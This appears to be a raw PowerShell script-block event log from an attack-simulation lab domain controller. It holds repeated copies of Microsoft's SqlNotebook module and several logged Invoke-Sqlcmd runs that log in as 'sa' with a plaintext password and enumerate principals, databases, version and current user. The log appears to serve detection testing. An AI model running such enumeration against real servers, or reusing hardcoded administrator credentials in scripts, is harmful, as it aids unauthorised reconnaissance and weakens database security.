$DatabaseQueryHashTable["AccessToken"] = $AccessToken
} else {
# Assume $AccessToken has a 'Token' member that is a string
$DatabaseQueryHashTable["AccessToken"] = $AccessToken.Token
}
} else {
if ($Credential) {
$DatabaseQueryHashTable["Credential"] = $Credential
} else {
if ($Username) {
$DatabaseQueryHashTable["Username"] = $Username
}
if ($Password) {
$DatabaseQueryHashTable["Password"] = $Password
}
}
}
if ($Encrypt) {
$DatabaseQueryHashTable["Encrypt"] = $Encrypt
}
if ($TrustServerCertificate) {
$DatabaseQueryHashTable["TrustServerCertificate"] = $TrustServerCertificate
}
if ($HostNameInCertificate) {
$DatabaseQueryHashTable["HostNameInCertificate"] = $HostNameInCertificate
}
}
#Setting additional parameters for Invoke-SQLCMD to get
#all the information from Notebook execution to output
$DatabaseQueryHashTable["Verbose"] = $true
$DatabaseQueryHashTable["ErrorVariable"] = "SqlQueryError"
$DatabaseQueryHashTable["OutputAs"] = "DataTables"
#The first code cell number
$cellExecutionCounta20b771f-bc7f-4485-80e5-4bdb0d0cf7edC:\Program Files\WindowsPowerShell\Modules\SqlServer\22.3.0\SqlNotebook.psm1
4104152150x0505707Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local11$ErrorActionPreference = 'Continue'
Write-Host 'Running: System principals query'
Invoke-Sqlcmd -ServerInstance 'localhost' -Database 'master' -Username 'sa' -Password 'ComplexPass123!' -Query 'SELECT name, type_desc FROM sys.server_principals' -TrustServerCertificate128c6f10-6ffb-46f5-a3da-373fea2ec740
4104152150x0505505Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local13# Copyright (c) Microsoft Corporation.
# Licensed under the MIT license.
Set-StrictMode -Version Latest
function Invoke-SqlNotebook {
[CmdletBinding(DefaultParameterSetName="ByConnectionParameters")]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSUsePSCredentialType", "Username", Justification="Intentionally allowing User/Password, in addition to a PSCredential parameter.")]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSAvoidUsingPlainTextForPassword", "Password", Justification="Intentionally allowing User/Password, in addition to a PSCredential parameter.")]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSAvoidUsingUsernameAndPasswordParams", "", Justification="Intentionally allowing User/Password, in addition to a PSCredential parameter.")]
# Parameters
param(
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')]$ServerInstance,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')]$Database,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()]$Username,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()]$Password,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionString')][ValidateNotNullorEmpty()]$ConnectionString,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()][PSCredential]$Credential,
[Parameter(Mandatory = $true, ParameterSetName='ByInputFile')]
[Parameter(ParameterSetName = 'ByConnectionParameters')]
[Parameter(ParameterSetName = 'ByConnectionString')]$InputFile,
[Parameter(Mandatory = $true, ParameterSetName='ByInputObject')]
[Parameter(ParameterSetName = 'ByConnectionParameters')]
[Parameter(ParameterSetName = 'ByConnectionString')]$InputObject,
[Parameter(Mandatory = $false)][ValidateNotNullorEmpty()]$OutputFile,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()][PSObject]$AccessToken,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][Switch]$TrustServerCertificate,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateSet("Mandatory", "Optional", "Strict")][string]$Encrypt,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNull()][string]$HostNameInCertificate,
[Switch]$Force
)
#Checks to see if OutputFile is given
#If it is, checks to see if extension is there
function getOutputFile($inputFile,$outputFile) {
if($outputFile) {
$extn = [IO.Path]::GetExtension($outputFile)
if ($extn.Length -eq 0) {
$outputFile = ($outputFile + ".ipynb")
}
$outputFile
}
else {
#If User does not define Output it will use the inputFile file location
$fileinfo = Get-Item $inputFile
# Create an output file based on the file path of input and name
Join-Path $fileinfo.DirectoryName ($fileinfo.BaseName + "_out" + $fileinfo.Extension)
}
}
#Validates InputFile and Converts InputFile to Json Object
function getFileContents($inputfile) {
if (-not (Test-Path -Path $inputfile)) {
Throw New-Object System.IO.FileNotFoundException ($inputfile + " does not exist")
}
$fileItem = Get-Item $inputfile
#Checking if file is a python notebook
if ($fileItem.Extension -ne ".ipynb") {
Throw New-Object System.FormatException "Only ipynb files are supported"
}
$fileContent = Get-Content $inputfile
try {
$fileContentJson = ($fileContent | ConvertFrom-Json)
}
catch {
Throw New-Object System.FormatException "Malformed Json file"
}
$fileContentJson
}
#Validate SQL Kernel Notebook
function validateKernelType($fileContentJson) {
if ($fileContentJson.metadata.kernelspec.name -ne "SQL") {
Throw New-Object System.NotSupportedException "Kernel type '$($fileContentJson.metadata.kernelspec.name)' not supported."
}
}
#Validate non-existing output file
#If file exists and $throwifexists, an exception is thrown.
function validateExistingOutputFile($outputfile, $throwifexists) {
if ($outputfile -and (Test-Path $outputfile) -and $throwifexists) {
Throw New-Object System.IO.IOException "The file '$($outputfile)' already exists. Please, specify -Force to overwrite it."
}
}
#Parsing Notebook Data to Notebook Output
function ParseTableToNotebookOutput {
param (
[System.Data.DataTable]
$DataTable,
[int]
$CellExecutionCount
)
$TableHTMLText = "<table>"
$TableSchemaFeilds = @()
$TableHTMLText += "<tr>"
foreach ($ColumnName in $DataTable.Columns) {
$TableSchemaFeilds += @(@{name = $ColumnName.toString() })
$TableHTMLText += "<th>" + $ColumnName.toString() + "</th>"
}
$TableHTMLText += "</tr>"
$TableSchema = @{ }
$TableSchema["fields"] = $TableSchemaFeilds
$TableDataRows = @()
foreach ($Row in $DataTable) {
$TableDataRow = [ordered]@{ }
$TableHTMLText += "<tr>"
$i = 0
foreach ($Cell in $Row.ItemArray) {
$TableDataRow[$i.ToString()] = $Cell.toString()
$TableHTMLText += "<td>" + $Cell.toString() + "</td>"
$i++
}
$TableHTMLText += "</tr>"
$TableDataRows += $TableDataRow
}
$TableDataResource = @{ }
$TableDataResource["schema"] = $TableSchema
$TableDataResource["data"] = $TableDataRows
$TableData = @{ }
$TableData["application/vnd.dataresource+json"] = $TableDataResource
$TableData["text/html"] = $TableHTMLText
$TableOutput = @{ }
$TableOutput["output_type"] = "execute_result"
$TableOutput["data"] = $TableData
$TableOutput["metadata"] = @{ }
$TableOutput["execution_count"] = $CellExecutionCount
return $TableOutput
}
#Parsing the Error Messages to Notebook Output
function ParseQueryErrorToNotebookOutput {
param (
$QueryError
)
<#
Following the current syntax of errors in T-SQL notebooks from ADS
#>
$ErrorString = "Msg " + $QueryError.Exception.InnerException.Number +
", Level " + $QueryError.Exception.InnerException.Class +
", State " + $QueryError.Exception.InnerException.State +
", Line " + $QueryError.Exception.InnerException.LineNumber +
"`r`n" + $QueryError.Exception.Message
$ErrorOutput = @{ }
$ErrorOutput["output_type"] = "error"
$ErrorOutput["traceback"] = @()
$ErrorOutput["evalue"] = $ErrorString
return $ErrorOutput
}
#Parsing Messages to Notebook Output
function ParseStringToNotebookOutput {
param (
[System.String]
$InputString
)
<#
Parsing the string to notebook cell output.
It's the standard Jupyter Syntax
#>
$StringOutputData = @{ }
$StringOutputData["text/html"] = $InputString
$StringOutput = @{ }
$StringOutput["output_type"] = "display_data"
$StringOutput["data"] = $StringOutputData
$StringOutput["metadata"] = @{ }
return $StringOutput
}
#Start of Script
#Checks to see if InputFile or InputObject was entered
#Checks to InputFile Type and initializes OutputFile
if ($InputFile -is [System.String]) {
$fileInformation = getFileContents($InputFile)
$fileContent = $fileInformation[0]
$OutputFile = getOutputFile $InputFile $OutputFile
} elseif ($InputFile -is [System.IO.FileInfo]) {
$fileInformation = getFileContents($InputFile.FullName)
$fileContent = $fileInformation[0]
$OutputFile = getOutputFile $InputFile $OutputFile
} else {
$fileContent = $InputObject
}
#Checks InputObject and converts that to appropriate Json object
if ($InputObject -is [System.String]) {
$fileContentJson = ($InputObject | ConvertFrom-Json)
$fileContent = $fileContentJson[0]
}
#Validates only SQL Notebooks
validateKernelType $fileContent
#Validate that $OutputFile does not exist, or, if it exists a -Force was passed in.
validateExistingOutputFile $OutputFile (-not $Force)
#Setting params for Invoke-Sqlcmd
$DatabaseQueryHashTable = @{ }
#Checks to see if User entered ConnectionString or individual parameters
if ($ConnectionString) {
$DatabaseQueryHashTable["ConnectionString"] = $ConnectionString
} else {
if ($ServerInstance) {
$DatabaseQueryHashTable["ServerInstance"] = $ServerInstance
}
if ($Database) {
$DatabaseQueryHashTable["Database"] = $Database
}
#Checks to see if User entered AccessToken, Credential, or individual parameters
if ($AccessToken) {
# Currently, Invoke-Sqlcmd only supports an -AccessToken of type [string]
if ($AccessToken -is [string]) {
$DatabaseQueryHashTable["AccessToken"] = $AccessToken
} else {
# Assume $AccessToken has a 'Token' member that is a string
$DatabaseQueryHashTable["AccessToken"] = $AccessToken.Token
}
} else {
if ($Credential) {
$DatabaseQueryHashTable["Credential"] = $Credential
} else {
if ($Username) {
$DatabaseQueryHashTable["Username"] = $Username
}
if ($Password) {
$DatabaseQueryHashTable["Password"] = $Password
}
}
}
if ($Encrypt) {
$DatabaseQueryHashTable["Encrypt"] = $Encrypt
}
if ($TrustServerCertificate) {
$DatabaseQueryHashTable["TrustServerCertificate"] = $TrustServerCertificate
}
if ($HostNameInCertificate) {
$DatabaseQueryHashTable["HostNameInCertificate"] = $HostNameInCertificate
}
}
#Setting additional parameters for Invoke-SQLCMD to get
#all the information from Notebook execution to output
$DatabaseQueryHashTable["Verbose"] = $true
$DatabaseQueryHashTable["ErrorVariable"] = "SqlQueryError"
$DatabaseQueryHashTable["OutputAs"] = "DataTables"
#The first code cell number
$cellExecutionCount = 1
#Iterate through Notebook Cells
$fileContent.cells33ad869e-09fe-440e-9fc7-d41816b70206C:\Program Files\WindowsPowerShell\Modules\SqlServer\22.3.0\SqlNotebook.psm1
4104152150x0505499Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local11$ErrorActionPreference = 'Continue'
Write-Host 'Running: DataSet output test'
Invoke-Sqlcmd -ServerInstance 'localhost' -Database 'master' -Username 'sa' -Password 'ComplexPass123!' -Query 'SELECT name, database_id FROM sys.databases' -OutputAs DataSet -TrustServerCertificate399754cd-306b-441e-805b-6c143bbf8102
4104152150x0505293Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local11$ErrorActionPreference = 'Continue'
Write-Host 'Running: Authentication test'
Invoke-Sqlcmd -ServerInstance 'localhost' -Database 'master' -Username 'sa' -Password 'ComplexPass123!' -Query 'SELECT SYSTEM_USER AS CurrentUser' -TrustServerCertificatee824b2bc-2657-4149-97c5-8d1479de3f46
4104152150x0505092Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local13# Copyright (c) Microsoft Corporation.
# Licensed under the MIT license.
Set-StrictMode -Version Latest
function Invoke-SqlNotebook {
[CmdletBinding(DefaultParameterSetName="ByConnectionParameters")]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSUsePSCredentialType", "Username", Justification="Intentionally allowing User/Password, in addition to a PSCredential parameter.")]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSAvoidUsingPlainTextForPassword", "Password", Justification="Intentionally allowing User/Password, in addition to a PSCredential parameter.")]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSAvoidUsingUsernameAndPasswordParams", "", Justification="Intentionally allowing User/Password, in addition to a PSCredential parameter.")]
# Parameters
param(
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')]$ServerInstance,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')]$Database,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()]$Username,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()]$Password,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionString')][ValidateNotNullorEmpty()]$ConnectionString,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()][PSCredential]$Credential,
[Parameter(Mandatory = $true, ParameterSetName='ByInputFile')]
[Parameter(ParameterSetName = 'ByConnectionParameters')]
[Parameter(ParameterSetName = 'ByConnectionString')]$InputFile,
[Parameter(Mandatory = $true, ParameterSetName='ByInputObject')]
[Parameter(ParameterSetName = 'ByConnectionParameters')]
[Parameter(ParameterSetName = 'ByConnectionString')]$InputObject,
[Parameter(Mandatory = $false)][ValidateNotNullorEmpty()]$OutputFile,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()][PSObject]$AccessToken,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][Switch]$TrustServerCertificate,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateSet("Mandatory", "Optional", "Strict")][string]$Encrypt,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNull()][string]$HostNameInCertificate,
[Switch]$Force
)
#Checks to see if OutputFile is given
#If it is, checks to see if extension is there
function getOutputFile($inputFile,$outputFile) {
if($outputFile) {
$extn = [IO.Path]::GetExtension($outputFile)
if ($extn.Length -eq 0) {
$outputFile = ($outputFile + ".ipynb")
}
$outputFile
}
else {
#If User does not define Output it will use the inputFile file location
$fileinfo = Get-Item $inputFile
# Create an output file based on the file path of input and name
Join-Path $fileinfo.DirectoryName ($fileinfo.BaseName + "_out" + $fileinfo.Extension)
}
}
#Validates InputFile and Converts InputFile to Json Object
function getFileContents($inputfile) {
if (-not (Test-Path -Path $inputfile)) {
Throw New-Object System.IO.FileNotFoundException ($inputfile + " does not exist")
}
$fileItem = Get-Item $inputfile
#Checking if file is a python notebook
if ($fileItem.Extension -ne ".ipynb") {
Throw New-Object System.FormatException "Only ipynb files are supported"
}
$fileContent = Get-Content $inputfile
try {
$fileContentJson = ($fileContent | ConvertFrom-Json)
}
catch {
Throw New-Object System.FormatException "Malformed Json file"
}
$fileContentJson
}
#Validate SQL Kernel Notebook
function validateKernelType($fileContentJson) {
if ($fileContentJson.metadata.kernelspec.name -ne "SQL") {
Throw New-Object System.NotSupportedException "Kernel type '$($fileContentJson.metadata.kernelspec.name)' not supported."
}
}
#Validate non-existing output file
#If file exists and $throwifexists, an exception is thrown.
function validateExistingOutputFile($outputfile, $throwifexists) {
if ($outputfile -and (Test-Path $outputfile) -and $throwifexists) {
Throw New-Object System.IO.IOException "The file '$($outputfile)' already exists. Please, specify -Force to overwrite it."
}
}
#Parsing Notebook Data to Notebook Output
function ParseTableToNotebookOutput {
param (
[System.Data.DataTable]
$DataTable,
[int]
$CellExecutionCount
)
$TableHTMLText = "<table>"
$TableSchemaFeilds = @()
$TableHTMLText += "<tr>"
foreach ($ColumnName in $DataTable.Columns) {
$TableSchemaFeilds += @(@{name = $ColumnName.toString() })
$TableHTMLText += "<th>" + $ColumnName.toString() + "</th>"
}
$TableHTMLText += "</tr>"
$TableSchema = @{ }
$TableSchema["fields"] = $TableSchemaFeilds
$TableDataRows = @()
foreach ($Row in $DataTable) {
$TableDataRow = [ordered]@{ }
$TableHTMLText += "<tr>"
$i = 0
foreach ($Cell in $Row.ItemArray) {
$TableDataRow[$i.ToString()] = $Cell.toString()
$TableHTMLText += "<td>" + $Cell.toString() + "</td>"
$i++
}
$TableHTMLText += "</tr>"
$TableDataRows += $TableDataRow
}
$TableDataResource = @{ }
$TableDataResource["schema"] = $TableSchema
$TableDataResource["data"] = $TableDataRows
$TableData = @{ }
$TableData["application/vnd.dataresource+json"] = $TableDataResource
$TableData["text/html"] = $TableHTMLText
$TableOutput = @{ }
$TableOutput["output_type"] = "execute_result"
$TableOutput["data"] = $TableData
$TableOutput["metadata"] = @{ }
$TableOutput["execution_count"] = $CellExecutionCount
return $TableOutput
}
#Parsing the Error Messages to Notebook Output
function ParseQueryErrorToNotebookOutput {
param (
$QueryError
)
<#
Following the current syntax of errors in T-SQL notebooks from ADS
#>
$ErrorString = "Msg " + $QueryError.Exception.InnerException.Number +
", Level " + $QueryError.Exception.InnerException.Class +
", State " + $QueryError.Exception.InnerException.State +
", Line " + $QueryError.Exception.InnerException.LineNumber +
"`r`n" + $QueryError.Exception.Message
$ErrorOutput = @{ }
$ErrorOutput["output_type"] = "error"
$ErrorOutput["traceback"] = @()
$ErrorOutput["evalue"] = $ErrorString
return $ErrorOutput
}
#Parsing Messages to Notebook Output
function ParseStringToNotebookOutput {
param (
[System.String]
$InputString
)
<#
Parsing the string to notebook cell output.
It's the standard Jupyter Syntax
#>
$StringOutputData = @{ }
$StringOutputData["text/html"] = $InputString
$StringOutput = @{ }
$StringOutput["output_type"] = "display_data"
$StringOutput["data"] = $StringOutputData
$StringOutput["metadata"] = @{ }
return $StringOutput
}
#Start of Script
#Checks to see if InputFile or InputObject was entered
#Checks to InputFile Type and initializes OutputFile
if ($InputFile -is [System.String]) {
$fileInformation = getFileContents($InputFile)
$fileContent = $fileInformation[0]
$OutputFile = getOutputFile $InputFile $OutputFile
} elseif ($InputFile -is [System.IO.FileInfo]) {
$fileInformation = getFileContents($InputFile.FullName)
$fileContent = $fileInformation[0]
$OutputFile = getOutputFile $InputFile $OutputFile
} else {
$fileContent = $InputObject
}
#Checks InputObject and converts that to appropriate Json object
if ($InputObject -is [System.String]) {
$fileContentJson = ($InputObject | ConvertFrom-Json)
$fileContent = $fileContentJson[0]
}
#Validates only SQL Notebooks
validateKernelType $fileContent
#Validate that $OutputFile does not exist, or, if it exists a -Force was passed in.
validateExistingOutputFile $OutputFile (-not $Force)
#Setting params for Invoke-Sqlcmd
$DatabaseQueryHashTable = @{ }
#Checks to see if User entered ConnectionString or individual parameters
if ($ConnectionString) {
$DatabaseQueryHashTable["ConnectionString"] = $ConnectionString
} else {
if ($ServerInstance) {
$DatabaseQueryHashTable["ServerInstance"] = $ServerInstance
}
if ($Database) {
$DatabaseQueryHashTable["Database"] = $Database
}
#Checks to see if User entered AccessToken, Credential, or individual parameters
if ($AccessToken) {
# Currently, Invoke-Sqlcmd only supports an -AccessToken of type [string]
if ($AccessToken -is [string]) {
$DatabaseQueryHashTable["AccessToken"] = $AccessToken
} else {
# Assume $AccessToken has a 'Token' member that is a string
$DatabaseQueryHashTable["AccessToken"] = $AccessToken.Token
}
} else {
if ($Credential) {
$DatabaseQueryHashTable["Credential"] = $Credential
} else {
if ($Username) {
$DatabaseQueryHashTable["Username"] = $Username
}
if ($Password) {
$DatabaseQueryHashTable["Password"] = $Password
}
}
}
if ($Encrypt) {
$DatabaseQueryHashTable["Encrypt"] = $Encrypt
}
if ($TrustServerCertificate) {
$DatabaseQueryHashTable["TrustServerCertificate"] = $TrustServerCertificate
}
if ($HostNameInCertificate) {
$DatabaseQueryHashTable["HostNameInCertificate"] = $HostNameInCertificate
}
}
#Setting additional parameters for Invoke-SQLCMD to get
#all the information from Notebook execution to output
$DatabaseQueryHashTable["Verbose"] = $true
$DatabaseQueryHashTable["ErrorVariable"] = "SqlQueryError"
$DatabaseQueryHashTable["OutputAs"] = "DataTables"
#The first code cell number
$cellExecutionCount = 1
#Iterate through Notebook Cells
$fileContent.cells | Where-Object {
# Ignoring Markdown or raw cells
$_.cell_type -ne "markdown" -and $_.cell_type -ne "raw" -and $_.source -ne ""
} | ForEach-Object {
$NotebookCellOutputs = @()
# Getting the source T-SQL from the cell
# Note that the cell's source field can be
# an array (or strings) or a scalar (string).
# If an array, elements are properly terminated with CR/LF.
$DatabaseQueryHashTable["Query"] = $_.source -join ''
# Executing the T-SQL Query and storing the result and the time ta06465661-7381-4c22-8ca6-bfce7d87d264C:\Program Files\WindowsPowerShell\Modules\SqlServer\22.3.0\SqlNotebook.psm1
4104152150x0505086Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local11$ErrorActionPreference = 'Continue'
Write-Host 'Running: Basic version query'
Invoke-Sqlcmd -ServerInstance 'localhost' -Database 'master' -Username 'sa' -Password 'ComplexPass123!' -Query 'SELECT @@version' -TrustServerCertificate80c7f8d0-8605-4d0c-95b6-095a7bea6940
4104152150x0504867Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local11$ErrorActionPreference = 'Continue'
Write-Host 'Running: System principals query'
Invoke-Sqlcmd -ServerInstance 'localhost' -Database 'master' -Username 'sa' -Password 'ComplexPass123!' -Query 'SELECT name, type_desc FROM sys.server_principals' -TrustServerCertificate4ed1dfdd-a2bf-4bf2-a936-b86e1d465962
4104152150x0504661Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local11$ErrorActionPreference = 'Continue'
Write-Host 'Running: DataSet output test'
Invoke-Sqlcmd -ServerInstance 'localhost' -Database 'master' -Username 'sa' -Password 'ComplexPass123!' -Query 'SELECT name, database_id FROM sys.databases' -OutputAs DataSet -TrustServerCertificatee8b4c089-1410-4e7d-932e-b5e0d39b78bc
4104152150x0504460Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local13# Copyright (c) Microsoft Corporation.
# Licensed under the MIT license.
Set-StrictMode -Version Latest
function Invoke-SqlNotebook {
[CmdletBinding(DefaultParameterSetName="ByConnectionParameters")]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSUsePSCredentialType", "Username", Justification="Intentionally allowing User/Password, in addition to a PSCredential parameter.")]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSAvoidUsingPlainTextForPassword", "Password", Justification="Intentionally allowing User/Password, in addition to a PSCredential parameter.")]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSAvoidUsingUsernameAndPasswordParams", "", Justification="Intentionally allowing User/Password, in addition to a PSCredential parameter.")]
# Parameters
param(
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')]$ServerInstance,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')]$Database,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()]$Username,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()]$Password,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionString')][ValidateNotNullorEmpty()]$ConnectionString,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()][PSCredential]$Credential,
[Parameter(Mandatory = $true, ParameterSetName='ByInputFile')]
[Parameter(ParameterSetName = 'ByConnectionParameters')]
[Parameter(ParameterSetName = 'ByConnectionString')]$InputFile,
[Parameter(Mandatory = $true, ParameterSetName='ByInputObject')]
[Parameter(ParameterSetName = 'ByConnectionParameters')]
[Parameter(ParameterSetName = 'ByConnectionString')]$InputObject,
[Parameter(Mandatory = $false)][ValidateNotNullorEmpty()]$OutputFile,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()][PSObject]$AccessToken,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][Switch]$TrustServerCertificate,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateSet("Mandatory", "Optional", "Strict")][string]$Encrypt,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNull()][string]$HostNameInCertificate,
[Switch]$Force
)
#Checks to see if OutputFile is given
#If it is, checks to see if extension is there
function getOutputFile($inputFile,$outputFile) {
if($outputFile) {
$extn = [IO.Path]::GetExtension($outputFile)
if ($extn.Length -eq 0) {
$outputFile = ($outputFile + ".ipynb")
}
$outputFile
}
else {
#If User does not define Output it will use the inputFile file location
$fileinfo = Get-Item $inputFile
# Create an output file based on the file path of input and name
Join-Path $fileinfo.DirectoryName ($fileinfo.BaseName + "_out" + $fileinfo.Extension)
}
}
#Validates InputFile and Converts InputFile to Json Object
function getFileContents($inputfile) {
if (-not (Test-Path -Path $inputfile)) {
Throw New-Object System.IO.FileNotFoundException ($inputfile + " does not exist")
}
$fileItem = Get-Item $inputfile
#Checking if file is a python notebook
if ($fileItem.Extension -ne ".ipynb") {
Throw New-Object System.FormatException "Only ipynb files are supported"
}
$fileContent = Get-Content $inputfile
try {
$fileContentJson = ($fileContent | ConvertFrom-Json)
}
catch {
Throw New-Object System.FormatException "Malformed Json file"
}
$fileContentJson
}
#Validate SQL Kernel Notebook
function validateKernelType($fileContentJson) {
if ($fileContentJson.metadata.kernelspec.name -ne "SQL") {
Throw New-Object System.NotSupportedException "Kernel type '$($fileContentJson.metadata.kernelspec.name)' not supported."
}
}
#Validate non-existing output file
#If file exists and $throwifexists, an exception is thrown.
function validateExistingOutputFile($outputfile, $throwifexists) {
if ($outputfile -and (Test-Path $outputfile) -and $throwifexists) {
Throw New-Object System.IO.IOException "The file '$($outputfile)' already exists. Please, specify -Force to overwrite it."
}
}
#Parsing Notebook Data to Notebook Output
function ParseTableToNotebookOutput {
param (
[System.Data.DataTable]
$DataTable,
[int]
$CellExecutionCount
)
$TableHTMLText = "<table>"
$TableSchemaFeilds = @()
$TableHTMLText += "<tr>"
foreach ($ColumnName in $DataTable.Columns) {
$TableSchemaFeilds += @(@{name = $ColumnName.toString() })
$TableHTMLText += "<th>" + $ColumnName.toString() + "</th>"
}
$TableHTMLText += "</tr>"
$TableSchema = @{ }
$TableSchema["fields"] = $TableSchemaFeilds
$TableDataRows = @()
foreach ($Row in $DataTable) {
$TableDataRow = [ordered]@{ }
$TableHTMLText += "<tr>"
$i = 0
foreach ($Cell in $Row.ItemArray) {
$TableDataRow[$i.ToString()] = $Cell.toString()
$TableHTMLText += "<td>" + $Cell.toString() + "</td>"
$i++
}
$TableHTMLText += "</tr>"
$TableDataRows += $TableDataRow
}
$TableDataResource = @{ }
$TableDataResource["schema"] = $TableSchema
$TableDataResource["data"] = $TableDataRows
$TableData = @{ }
$TableData["application/vnd.dataresource+json"] = $TableDataResource
$TableData["text/html"] = $TableHTMLText
$TableOutput = @{ }
$TableOutput["output_type"] = "execute_result"
$TableOutput["data"] = $TableData
$TableOutput["metadata"] = @{ }
$TableOutput["execution_count"] = $CellExecutionCount
return $TableOutput
}
#Parsing the Error Messages to Notebook Output
function ParseQueryErrorToNotebookOutput {
param (
$QueryError
)
<#
Following the current syntax of errors in T-SQL notebooks from ADS
#>
$ErrorString = "Msg " + $QueryError.Exception.InnerException.Number +
", Level " + $QueryError.Exception.InnerException.Class +
", State " + $QueryError.Exception.InnerException.State +
", Line " + $QueryError.Exception.InnerException.LineNumber +
"`r`n" + $QueryError.Exception.Message
$ErrorOutput = @{ }
$ErrorOutput["output_type"] = "error"
$ErrorOutput["traceback"] = @()
$ErrorOutput["evalue"] = $ErrorString
return $ErrorOutput
}
#Parsing Messages to Notebook Output
function ParseStringToNotebookOutput {
param (
[System.String]
$InputString
)
<#
Parsing the string to notebook cell output.
It's the standard Jupyter Syntax
#>
$StringOutputData = @{ }
$StringOutputData["text/html"] = $InputString
$StringOutput = @{ }
$StringOutput["output_type"] = "display_data"
$StringOutput["data"] = $StringOutputData
$StringOutput["metadata"] = @{ }
return $StringOutput
}
#Start of Script
#Checks to see if InputFile or InputObject was entered
#Checks to InputFile Type and initializes OutputFile
if ($InputFile -is [System.String]) {
$fileInformation = getFileContents($InputFile)
$fileContent = $fileInformation[0]
$OutputFile = getOutputFile $InputFile $OutputFile
} elseif ($InputFile -is [System.IO.FileInfo]) {
$fileInformation = getFileContents($InputFile.FullName)
$fileContent = $fileInformation[0]
$OutputFile = getOutputFile $InputFile $OutputFile
} else {
$fileContent = $InputObject
}
#Checks InputObject and converts that to appropriate Json object
if ($InputObject -is [System.String]) {
$fileContentJson = ($InputObject | ConvertFrom-Json)
$fileContent = $fileContentJson[0]
}
#Validates only SQL Notebooks
validateKernelType $fileContent
#Validate that $OutputFile does not exist, or, if it exists a -Force was passed in.
validateExistingOutputFile $OutputFile (-not $Force)
#Setting params for Invoke-Sqlcmd
$DatabaseQueryHashTable = @{ }
#Checks to see if User entered ConnectionString or individual parameters
if ($ConnectionString) {
$DatabaseQueryHashTable["ConnectionString"] = $ConnectionString
} else {
if ($ServerInstance) {
$DatabaseQueryHashTable["ServerInstance"] = $ServerInstance
}
if ($Database) {
$DatabaseQueryHashTable["Database"] = $Database
}
#Checks to see if User entered AccessToken, Credential, or individual parameters
if ($AccessToken) {
# Currently, Invoke-Sqlcmd only supports an -AccessToken of type [string]
if ($AccessToken -is [string]) {
$DatabaseQueryHashTable["AccessToken"] = $AccessToken
} else {
# Assume $AccessToken has a 'Token' member that is a string
$DatabaseQueryHashTable["AccessToken"] = $AccessToken.Token
}
} else {
if ($Credential) {
$DatabaseQueryHashTable["Credential"] = $Credential
} else {
if ($Username) {
$DatabaseQueryHashTable["Username"] = $Username
}
if ($Password) {
$DatabaseQueryHashTable["Password"] = $Password
}
}
}
if ($Encrypt) {
$DatabaseQueryHashTable["Encrypt"] = $Encrypt
}
if ($TrustServerCertificate) {
$DatabaseQueryHashTable["TrustServerCertificate"] = $TrustServerCertificate
}
if ($HostNameInCertificate) {
$DatabaseQueryHashTable["HostNameInCertificate"] = $HostNameInCertificate
}
}
#Setting additional parameters for Invoke-SQLCMD to get
#all the information from Notebook execution to output
$DatabaseQueryHashTable["Verbose"] = $true
$DatabaseQueryHashTable["ErrorVariable"] = "SqlQueryError"
$DatabaseQueryHashTable["OutputAs"] = "DataTables"
#The first code cell number
$cellExecutionCount = 1
#Iterate through Notebook Cells
$fileContent.cells | Where-Object {
# Ignoring Markdown or raw cells
